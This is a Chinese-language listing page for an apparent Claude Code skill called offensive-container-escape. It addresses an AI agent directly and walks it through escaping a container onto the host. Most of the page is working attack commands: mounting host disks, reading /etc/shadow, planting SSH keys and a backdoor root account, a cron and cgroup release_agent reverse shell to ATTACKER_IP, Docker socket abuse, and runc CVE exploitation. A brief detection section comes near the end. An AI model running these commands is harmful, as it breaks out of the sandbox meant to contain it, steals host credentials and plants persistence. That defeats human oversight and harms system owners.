关于 offensive-container-escape
面向安全评估的容器逃逸技能指南,系统介绍容器内环境检查、常见隔离配置弱点和运行时漏洞。内容涵盖主机命名空间、套接字、Linux 能力、cgroup 及内核漏洞,并列出防御监测要点。
主要功能
- 01检查容器环境与隔离配置
- 02评估特权模式和运行时套接字
- 03分析 Linux 能力与 cgroup 逃逸
- 04涵盖运行时及内核漏洞
- 05列出容器逃逸监测线索
适用场景
- 01评估容器运行配置的逃逸风险
- 02检查主机运行时套接字暴露
- 03验证 Linux 能力配置是否过宽
- 04制定容器逃逸检测规则
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-container-escape安装后在 Claude Code 中输入/offensive-container-escape确认已加载。
详细介绍
容器逃逸与突破
你在容器内拥有一个 shell。你的目标是逃逸到底层主机操作系统。容器隔离依赖 Linux 命名空间、cgroups、seccomp 配置文件、AppArmor/SELinux 和已移除的能力。上述各层中的任何配置错误都可能成为逃逸途径。本技能将引导你系统地枚举环境、利用常见配置错误、滥用暴露的运行时套接字、利用基于能力的逃逸和 cgroup 突破,以及利用针对容器运行时的已知 CVE。
快速工作流
- 确认你位于容器内(检查
.dockerenv、cgroup 条目和 PID 1 进程)。 - 使用自动化工具枚举能力、挂载、命名空间和套接字。
- 识别逃逸途径:特权模式、套接字暴露、危险能力、cgroup 配置错误或易受攻击的运行时。
- 执行与该途径相匹配的突破技术。
- 通过读取
/etc/hostname、检查 PID 命名空间或向主机文件系统写入内容,验证是否已访问主机。 - 从主机访问权限进一步横向移动到集群或基础设施中的其他位置。
阶段 1:容器检测与枚举
尝试逃逸之前,先确认自己位于容器内,并梳理攻击面。
检测容器环境
# Check for Docker marker file
ls -la /.dockerenv
# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '
# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'
# Check hostname (often a truncated container ID)
hostname
# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
自动化枚举工具
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Zero-dependency container penetration toolkit
./cdk evaluate
# amicontained - Inspect container runtime and capabilities
./amicontained
# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
手动解码能力
# Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
# Example output: CapEff: 0000003fffffffff
# Decode with capsh
capsh --decode=0000003fffffffff
# Key dangerous capabilities to look for:
# CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
# CAP_NET_ADMIN - network namespace manipulation, raw sockets
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
# CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
# CAP_SYS_MODULE - load/unload kernel modules
# CAP_MKNOD - create device files
检查命名空间隔离
# Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid
# Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
# If namespace inodes match host, isolation is broken
# Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt
# Check for host network namespace
ip addr show
# If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp
阶段 2:特权容器突破
使用 --privileged 运行的容器几乎没有任何隔离。它拥有所有能力、能够查看主机设备,且不受 seccomp 或 AppArmor 限制。
挂载主机文件系统
# List available block devices
fdisk -l 2>/dev/null || lsblk
# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
# Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/
# Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
# Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
# Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
使用 nsenter 进入主机命名空间
# If PID 1 on the host is visible (privileged + hostPID), nsenter into it
# This gives you a shell in the host's full namespace context
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Verify you escaped
hostname
id
cat /etc/hostname
# Without hostPID, nsenter from mounted procfs
# Mount host /proc first if available
nsenter -t 1 -m -u -i -n -p -- bash
利用设备访问权限
# Privileged containers have access to all host devices
ls -la /dev/
# Read host memory directly
dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head
# Access host disk raw
dd if=/dev/sda bs=512 count=1 | xxd | head
# Create device nodes if CAP_MKNOD is available
mknod /dev/host_disk b 8 0
mount /dev/host_disk /mnt/host
阶段 3:滥用 Docker 套接字
当 /var/run/docker.sock 挂载到容器中时,你便能控制 Docker 守护进程,并创建挂载主机文件系统的特权容器。
检测暴露的套接字
# Check for Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock
# Check if socket is writable
test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"
# Verify Docker API via curl
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
# Check without curl using socat or Python
python3 -c "
import socket, json
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/var/run/docker.sock')
s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n')
print(s.recv(4096).decode())
"
通过 Docker 套接字逃逸
# If Docker CLI is available
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host \
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
# If only curl is available, use Docker API directly
# Step 1: Create a container mounting host root
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/mnt/host"]
}
}' | python3 -m json.tool
# Capture container ID from response
CONTAINER_ID="<id_from_response>"
# Step 2: Start the container
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
# Step 3: Read output
curl -s --unix-socket /var/run/docker.sock \
"http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"
# For interactive shell, use exec endpoint
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
-H "Content-Type: application/json" \
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
滥用 Containerd 套接字
# Check for containerd socket
ls -la /run/containerd/containerd.sock
# Use ctr if available
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock images list
# Spawn privileged container via containerd
ctr -a /run/containerd/containerd.sock run \
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind \
docker.io/library/alpine:latest escape /bin/sh
阶段 4:基于能力的逃逸
即使没有完整的特权模式,单项 Linux 能力也可能足以实现逃逸。
CAP_SYS_ADMIN 逃逸
# CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation
# Check if present
grep CapEff /proc/1/status
capsh --print | grep sys_admin
# Method 1: Mount host filesystem via block device
mount /dev/sda1 /mnt
# Method 2: cgroup release_agent escape (see Phase 5)
# Method 3: Abuse user namespace
unshare -Urm bash
CAP_SYS_PTRACE 逃逸
# CAP_SYS_PTRACE allows tracing processes across namespaces
# Combined with hostPID, you can inject into host processes
# Find a host process (requires shared PID namespace)
ps aux | grep -v grep | head -20
# Inject shellcode into a host process using ptrace
# Python ptrace injection example
python3 -c "
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
# Target a host process PID
target_pid = 1 # systemd or init
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
# Attach to target
result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
print(f'Attach result: {result}')
"
# Alternatively, use /proc/PID/root to access host filesystem via host PID
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
CAP_NET_ADMIN 逃逸
# CAP_NET_ADMIN with host network namespace enables ARP spoofing,
# traffic interception, and network-based attacks against the host
# Check for capability
capsh --print | grep net_admin
# Create a network tap to sniff host traffic
ip link add name sniff0 type dummy
tcpdump -i eth0 -w /tmp/capture.pcap &
# ARP spoof the gateway to intercept traffic
# (requires host network namespace)
CAP_DAC_READ_SEARCH 逃逸
# Bypass file permission checks for reading
# Access host filesystem through /proc/1/root if hostPID is shared
# Use open_by_handle_at to access files outside the container mount
# This is the shocker exploit technique
# Compile and run the shocker PoC:
cat > /tmp/shocker.c << 'CEOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
int main() {
struct my_file_handle h;
h.handle_bytes = 8;
h.handle_type = 1;
memset(h.f_handle, 0, sizeof(h.f_handle));
// Brute force inode handles to access host /etc/shadow
int mount_fd = open("/etc/hostname", O_RDONLY);
// ... (PoC continues with handle iteration)
return 0;
}
CEOF
gcc -o /tmp/shocker /tmp/shocker.c
阶段 5:cgroup 逃逸(notify_on_release)
cgroup v1 的 notify_on_release 机制会在 cgroup 中最后一个进程退出时,于主机上执行一个二进制文件。这是针对拥有 CAP_SYS_ADMIN 的容器的经典逃逸方式。
经典 cgroup release agent 逃逸
# Requires: CAP_SYS_ADMIN and cgroup v1
# This runs a command on the HOST, not inside the container
# Step 1: Find the container's cgroup mount
mount | grep cgroup
# Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)
# Step 2: Create a child cgroup
mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null || \
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \
mkdir /tmp/cgrp/escape_cgroup
CGROUP_DIR="/tmp/cgrp"
ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"
# Step 3: Enable notify_on_release
echo 1 > ${ESCAPE_DIR}/notify_on_release
# Step 4: Find container filesystem path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "Host path: ${host_path}"
# Step 5: Set the release_agent to execute our payload
echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent
# Step 6: Write payload that runs on the host
cat > /cmd << 'PAYLOAD'
#!/bin/bash
# This runs on the HOST
cat /etc/hostname > /output
id >> /output
ps aux >> /output
# Reverse shell to attacker
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
PAYLOAD
chmod +x /cmd
# Step 7: Trigger the escape by putting a process in the cgroup and letting it exit
echo $$ > ${ESCAPE_DIR}/cgroup.procs
# The shell PID joins the cgroup, then when we create and exit a subshell:
bash -c "echo \$\$ > ${ESCAPE_DIR}/cgroup.procs && exit"
# Step 8: Check output
sleep 1
cat /output
cgroup 逃逸变体
# Variation: Using devices cgroup subsystem
mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Variation: Memory cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
# Same pattern follows
# Note: cgroup v2 unified hierarchy does not support release_agent
# in the same way. Check cgroup version:
stat -fc %T /sys/fs/cgroup/
# "cgroup2fs" = v2, "tmpfs" = v1
阶段 6:利用运行时 CVE
CVE-2019-5736:覆盖 runc
此漏洞允许容器覆盖主机上的 runc 二进制文件,从而在任何容器启动时于主机上执行代码。
# Check runc version
runc --version 2>/dev/null
docker version 2>/dev/null | grep -A5 Server
# Vulnerable: runc < 1.0.0-rc6
# The attack overwrites /proc/self/exe (the runc binary) from inside the container
# Step 1: Prepare the payload binary that replaces runc
cat > /tmp/payload.sh << 'EXPLOIT'
#!/bin/bash
# This replaces the host runc binary
# When admin next runs docker exec or docker run, our payload executes
echo '#!/bin/bash' > /bin/bash_backup
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup
chmod +x /bin/bash_backup
EXPLOIT
# Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe
# The actual exploit requires a compiled Go binary that:
# 1. Opens /proc/self/exe for writing (which points to runc during exec)
# 2. Writes attacker payload to it
# 3. runc on host is now the attacker's binary
# PoC tools: github.com/Frichetten/CVE-2019-5736-PoC
# Compile the PoC, copy into container, and trigger via docker exec
CVE-2024-21626:Leaky Vessels(runc)
runc 中的文件描述符泄漏允许容器通过引用指向主机工作目录的泄漏 /proc/self/fd 条目来访问主机文件系统。
# Vulnerable: runc <= 1.1.11
# The vulnerability is in the WORKDIR processing during container build/run
# Check runc version
runc --version
# Exploitation concept:
# 1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)
# 2. The leaked file descriptor points to the host filesystem
# 3. Building or running the image gives host filesystem access
# Malicious Dockerfile example (build-time exploitation):
cat > /tmp/Dockerfile.escape << 'DOCKERFILE'
FROM ubuntu:latest
# The leaked fd points to host CWD during build
WORKDIR /proc/self/fd/8
# This RUN now operates on the host filesystem
RUN cat /etc/shadow > /tmp/shadow_dump || true
DOCKERFILE
# Runtime exploitation:
# Container started with WORKDIR pointing to leaked fd
# can read/write host files through the fd reference
# Detection: Check for /proc/self/fd references in WORKDIR directives
grep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
CVE-2020-15257:Containerd 主机网络
# Containerd < 1.4.3, < 1.3.9
# Containers sharing host network namespace can access containerd-shim API
# Check if container uses host network
cat /proc/1/ns/net | xargs readlink
ip addr | grep docker0 # Seeing host interfaces indicates host network
# Access containerd-shim abstract unix socket
# from host network namespace container
curl --unix-socket /run/containerd/containerd.sock \
http://localhost/v1/namespaces
阶段 7:从容器中利用内核漏洞
当其他逃逸途径不可用时,由于容器与主机共享内核,内核漏洞可能提供访问主机的途径。
识别内核版本
uname -a
uname -r
cat /proc/version
# Check for known vulnerable kernels
# DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)
# DirtyCow: CVE-2016-5195 (kernel < 4.8.3)
# OverlayFS: CVE-2021-3493 (Ubuntu kernels)
# nftables: CVE-2023-32233 (kernel < 6.4)
从容器中利用 DirtyPipe(CVE-2022-0847)
# Overwrites read-only files via pipe page cache poisoning
# Works from inside containers because it targets the shared kernel
# Check kernel version
uname -r
# Vulnerable: 5.8 through 5.16.10
# The exploit overwrites /etc/passwd on the HOST from the container
# because the page cache is shared between host and container
# Compile exploit (if gcc available in container)
# PoC modifies root entry in /etc/passwd to remove password
检查 Seccomp 和 AppArmor
# Check if seccomp is restricting syscalls
cat /proc/1/status | grep Seccomp
# Seccomp: 0 = disabled, 1 = strict, 2 = filter
# Check AppArmor profile
cat /proc/1/attr/current
# "unconfined" means no AppArmor restriction
# Check if kernel module loading is possible
# (no seccomp + CAP_SYS_MODULE)
modprobe test 2>&1
insmod /tmp/evil.ko 2>&1
检测 / 防御方视角
防御方监控容器逃逸时应关注:
- 进程监控:意外出现的、可查看主机 PID 命名空间的进程。容器运行时在非正常模式下启动的进程(例如,runc、containerd-shim 创建 shell)。
- 文件系统事件:容器内的挂载操作(来自容器 PID 的
mount系统调用)。主机上的/root/.ssh/authorized_keys、/etc/crontab、/etc/passwd中出现新文件。 - Cgroup 操纵:创建
notify_on_release设为 1 的新 cgroup。向release_agent文件写入内容。 - Docker 套接字访问:容器内部向 Docker 套接字发起 API 调用。包含
--privileged或主机挂载绑定的容器创建请求。 - 能力异常:容器以
CAP_SYS_ADMIN、CAP_SYS_PTRACE或其他应用并不需要的危险能力运行。 - 审计规则:监控
nsenter的使用、unshare调用,以及容器上下文中对/proc/*/ns/*的访问。 - Falco 规则:部署运行时安全防护规则,检测意外启动 shell、访问敏感文件以及容器内的权限提升。
# Falco rule example for detecting container escape attempts
# - rule: Detect Container Escape via cgroup notify_on_release
# desc: Detects write to notify_on_release in cgroup directory
# condition: >
# open_write and container and
# fd.name contains "notify_on_release"
# output: >
# Container escape attempt via cgroup release_agent
# (user=%user.name container=%container.name file=%fd.name)
# priority: CRITICAL
演练速查表
# --- Detection ---
# Am I in a container?
ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker"
cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"
# What capabilities do I have?
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap
# Is Docker socket available?
ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# Am I privileged?
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0
mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test
# Cgroup version?
stat -fc %T /sys/fs/cgroup/
# --- Exploitation (one-liners) ---
# Privileged mount escape
mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow
# nsenter escape (with hostPID)
nsenter -t 1 -m -u -i -n -p -- bash
# Docker socket escape
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h
# Cgroup escape (CAP_SYS_ADMIN)
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null|head -n1)); mkdir -p $d/w; \
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab); \
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c; \
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o
# --- Post-Escape ---
# Validate host access
hostname; id; cat /etc/os-release; docker ps 2>/dev/null
关键参考资料
- MITRE ATT&CK T1611 - 逃逸到主机
- CVE-2019-5736 - 通过覆盖 /proc/self/exe 实现 runc 容器逃逸
- CVE-2024-21626 - Leaky Vessels runc 文件描述符泄露
- CVE-2020-15257 - containerd 主机网络命名空间 API 访问
- CVE-2022-0847 - DirtyPipe 内核权限提升
- 工具:deepce - https://github.com/stealthcopter/deepce
- 工具:CDK - https://github.com/cdk-team/CDK
- 工具:amicontained - https://github.com/genuinetools/amicontained
- 工具:nsenter - Linux util-linux 软件包
- Docker 套接字逃逸 - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
- CIS Docker 基准 - 运行时安全配置基线